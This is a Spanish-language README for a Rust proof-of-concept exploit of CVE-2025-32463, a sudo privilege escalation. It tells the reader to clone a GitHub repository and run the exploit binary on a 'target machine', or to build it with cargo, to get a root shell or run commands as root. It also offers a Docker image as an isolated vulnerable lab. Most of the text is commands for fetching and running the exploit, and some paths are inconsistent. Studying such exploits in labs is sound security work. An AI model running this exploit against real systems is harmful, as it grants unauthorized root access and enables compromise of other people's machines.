CVE-2025-32463 PoC de Exploit de Escalada de Privilegios en Sudo (Rust)

Usando el binario precompilado

1. Clona el repositorio y ejecuta el binario en la máquina objetivo.

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git

cd CVE-2025-32463-Chwoot-POC

./exploit

Compilar desde el código fuente

1. Clona el repositorio (si aún no lo has hecho)

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git
cd CVE-2025-32463-Chwoot-POC

2. Compila el binario de Rust en modo release

cargo build --release

El binario compilado se ubicará en:

./target/release/CVE-2025-32463-Chwoot-POC

Uso

Ejecuta el binario del exploit con argumentos de comando opcionales:

• Para abrir una shell interactiva de root:

sudo ./target/release/CVE-2025-32463-Chwoot-POC

• Para ejecutar un comando específico como root (por ejemplo, id):

sudo ./target/release/CVE-2025-32463-Chwoot-POC "id"

Uso con Docker

Alternativamente, utiliza el contenedor Docker proporcionado para disponer de un entorno vulnerable aislado con todas las dependencias instaladas.

1. Construye la imagen de Docker

docker build -t sudo-chwoot .

2. Ejecuta el contenedor de forma interactiva (si no funcionó, prueba a usar el ID de la imagen en lugar de sudo-chwoot. Puedes obtenerlo con sudo docker images)

docker run --rm -it --privileged sudo-chwoot 

3. Dentro del contenedor, ejecuta el exploit

cd /home/pwn/CVE-2025-32463-Rust-POC
./target/release/CVE-2025-32463-Chwoot-POC